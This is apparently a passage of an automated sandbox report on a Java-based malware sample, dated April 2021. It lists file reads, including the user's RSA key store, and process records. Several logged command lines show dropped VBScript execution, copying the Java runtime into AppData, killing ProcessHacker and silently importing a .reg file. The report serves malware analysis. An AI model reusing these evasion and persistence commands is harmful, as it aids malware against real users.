C:\Users\user\AppData\Local\Temp\_0.5473048333189129536838706564981496.class unknown 160 success or wait 6 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\java.security unknown 8192 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\java.security unknown 8192 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\java.security unknown 8192 end of file 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\_0.5473048333189129536838706564981496.class unknown 30 success or wait 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 4 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 128 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 4 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 128 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 4 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 128 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 30 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 4 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 128 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile
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C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\policy\unlimited\US_export_policy.jar unknown 4 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\policy\unlimited\US_export_policy.jar unknown 128 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\policy\unlimited\US_export_policy.jar unknown 407 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\policy\unlimited\US_export_policy.jar unknown 149 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\policy\unlimited\US_export_policy.jar unknown 30 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\policy\unlimited\local_policy.jar unknown 4 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\policy\unlimited\local_policy.jar unknown 128 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 8192 success or wait 6 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 3 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\blacklisted.certs unknown 8192 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\blacklisted.certs unknown 8192 end of file 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\cacerts unknown 8192 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 30 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\cacerts unknown 8192 success or wait 4 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 3 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-
4053062332-1002\83aa4cc77f591dfc2374580bbd95f6ba_d06ed635-68f6-4e9a-955c-
4899f5f57b9a

unknown 45 success or wait 1 73787663 unknown

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-
4053062332-1002\83aa4cc77f591dfc2374580bbd95f6ba_d06ed635-68f6-4e9a-955c-
4899f5f57b9a

unknown 45 success or wait 1 73787663 unknown

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\resources.jar unknown 4 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\resources.jar unknown 128 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\_0.5473048333189129536838706564981496.class unknown 160 success or wait 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile
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C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\_0.5473048333189129536838706564981496.class unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\_0.5473048333189129536838706564981496.class unknown 30 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\accessibility.properties unknown 8192 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\accessibility.properties unknown 8192 end of file 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\_0.5473048333189129536838706564981496.class unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 1826 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

\Device\NamedPipe unknown 8192 success or wait 6 73789F67 ReadFile

\Device\NamedPipe unknown 8192 pipe broken 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

\Device\NamedPipe unknown 8192 success or wait 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 3 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 4 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunmscapi.jar unknown 4 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunmscapi.jar unknown 128 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunmscapi.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\net.properties unknown 8192 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\net.properties unknown 8192 end of file 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

File Path Offset Length Completion Count
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Analysis Process: conhost.exe PID: 4512 Parent PID: 4596Analysis Process: conhost.exe PID: 4512 Parent PID: 4596
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Start time: 23:33:14

Start date: 19/04/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff61de10000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Start time: 23:33:16

Start date: 19/04/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: cmd.exe /C cscript.exe C:\Users\user\AppData\Local\Temp\Retrive41176477022047241
32.vbs

Imagebase: 0x2a0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Start time: 23:33:17

Start date: 19/04/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff61de10000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 23:33:17

Start date: 19/04/2021

Path: C:\Windows\SysWOW64\cscript.exe

Wow64 process (32bit): true

Commandline: cscript.exe  C:\Users\user\AppData\Local\Temp\Retrive4117647702204724132.vbs

General

Analysis Process: cmd.exe PID: 6132 Parent PID: 1540Analysis Process: cmd.exe PID: 6132 Parent PID: 1540

General

Analysis Process: conhost.exe PID: 5688 Parent PID: 6132Analysis Process: conhost.exe PID: 5688 Parent PID: 6132

General

Analysis Process: cscript.exe PID: 4248 Parent PID: 6132Analysis Process: cscript.exe PID: 4248 Parent PID: 6132

General
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Imagebase: 0x150000

File size: 143360 bytes

MD5 hash: 00D3041E47F99E48DD5FFFEDF60F6304

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 23:33:17

Start date: 19/04/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: cmd.exe /C cscript.exe C:\Users\user\AppData\Local\Temp\Retrive79656935758331836
51.vbs

Imagebase: 0x2a0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 23:33:18

Start date: 19/04/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff61de10000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 23:33:18

Start date: 19/04/2021

Path: C:\Windows\SysWOW64\cscript.exe

Wow64 process (32bit): true

Commandline: cscript.exe  C:\Users\user\AppData\Local\Temp\Retrive7965693575833183651.vbs

Imagebase: 0x150000

File size: 143360 bytes

MD5 hash: 00D3041E47F99E48DD5FFFEDF60F6304

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: cmd.exe PID: 6236 Parent PID: 4596Analysis Process: cmd.exe PID: 6236 Parent PID: 4596

General

Analysis Process: conhost.exe PID: 6320 Parent PID: 6236Analysis Process: conhost.exe PID: 6320 Parent PID: 6236

General

Analysis Process: cscript.exe PID: 6500 Parent PID: 6236Analysis Process: cscript.exe PID: 6500 Parent PID: 6236

General
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Start time: 23:33:19

Start date: 19/04/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: cmd.exe /C cscript.exe C:\Users\user\AppData\Local\Temp\Retrive75306404577856749
35.vbs

Imagebase: 0x2a0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 23:33:19

Start date: 19/04/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff61de10000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 23:33:20

Start date: 19/04/2021

Path: C:\Windows\SysWOW64\cscript.exe

Wow64 process (32bit): true

Commandline: cscript.exe  C:\Users\user\AppData\Local\Temp\Retrive7530640457785674935.vbs

Imagebase: 0x150000

File size: 143360 bytes

MD5 hash: 00D3041E47F99E48DD5FFFEDF60F6304

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 23:33:21

Start date: 19/04/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Analysis Process: cmd.exe PID: 724 Parent PID: 1540Analysis Process: cmd.exe PID: 724 Parent PID: 1540

General

Analysis Process: conhost.exe PID: 6716 Parent PID: 724Analysis Process: conhost.exe PID: 6716 Parent PID: 724

General

Analysis Process: cscript.exe PID: 6776 Parent PID: 724Analysis Process: cscript.exe PID: 6776 Parent PID: 724

General

Analysis Process: cmd.exe PID: 6912 Parent PID: 4596Analysis Process: cmd.exe PID: 6912 Parent PID: 4596

General
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Commandline: cmd.exe /C cscript.exe C:\Users\user\AppData\Local\Temp\Retrive91012751349336433
30.vbs

Imagebase: 0x2a0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 23:33:21

Start date: 19/04/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff61de10000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 23:33:22

Start date: 19/04/2021

Path: C:\Windows\SysWOW64\cscript.exe

Wow64 process (32bit): true

Commandline: cscript.exe  C:\Users\user\AppData\Local\Temp\Retrive9101275134933643330.vbs

Imagebase: 0x150000

File size: 143360 bytes

MD5 hash: 00D3041E47F99E48DD5FFFEDF60F6304

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 23:33:22

Start date: 19/04/2021

Path: C:\Windows\SysWOW64\xcopy.exe

Wow64 process (32bit): true

Commandline: xcopy 'C:\Program Files (x86)\Java\jre1.8.0_211' 'C:\Users\user\AppData\Roaming\Oracle\' /e

Imagebase: 0x140000

File size: 44544 bytes

MD5 hash: 9F3712DDC0D7FE3D75B8A06C6EE8E68C

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: conhost.exe PID: 6688 Parent PID: 6912Analysis Process: conhost.exe PID: 6688 Parent PID: 6912

General

Analysis Process: cscript.exe PID: 6980 Parent PID: 6912Analysis Process: cscript.exe PID: 6980 Parent PID: 6912

General

Analysis Process: xcopy.exe PID: 6848 Parent PID: 1540Analysis Process: xcopy.exe PID: 6848 Parent PID: 1540

General
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Start time: 23:33:23

Start date: 19/04/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff61de10000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 23:33:28

Start date: 19/04/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: cmd.exe

Imagebase: 0x2a0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 23:33:28

Start date: 19/04/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff61de10000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 23:33:37

Start date: 19/04/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: cmd.exe

Analysis Process: conhost.exe PID: 4740 Parent PID: 6848Analysis Process: conhost.exe PID: 4740 Parent PID: 6848

General

Analysis Process: cmd.exe PID: 4524 Parent PID: 4596Analysis Process: cmd.exe PID: 4524 Parent PID: 4596

General

Analysis Process: conhost.exe PID: 4272 Parent PID: 4524Analysis Process: conhost.exe PID: 4272 Parent PID: 4524

General

Analysis Process: cmd.exe PID: 6376 Parent PID: 1540Analysis Process: cmd.exe PID: 6376 Parent PID: 1540

General
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Imagebase: 0x2a0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 23:33:38

Start date: 19/04/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff61de10000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 23:33:39

Start date: 19/04/2021

Path: C:\Windows\SysWOW64\taskkill.exe

Wow64 process (32bit): true

Commandline: taskkill /IM ProcessHacker.exe /T /F

Imagebase: 0xbb0000

File size: 74752 bytes

MD5 hash: 15E2E0ACD891510C6268CB8899F2A1A1

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 23:33:39

Start date: 19/04/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: cmd.exe /c regedit.exe /s C:\Users\user\AppData\Local\Temp\GYcBDbnJPA32765125318
36276281.reg

Imagebase: 0x2a0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: conhost.exe PID: 4568 Parent PID: 6376Analysis Process: conhost.exe PID: 4568 Parent PID: 6376

General

Analysis Process: taskkill.exe PID: 6664 Parent PID: 1540Analysis Process: taskkill.exe PID: 6664 Parent PID: 1540

General

Analysis Process: cmd.exe PID: 2032 Parent PID: 1540Analysis Process: cmd.exe PID: 2032 Parent PID: 1540

General
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Disassembly

Code Analysis
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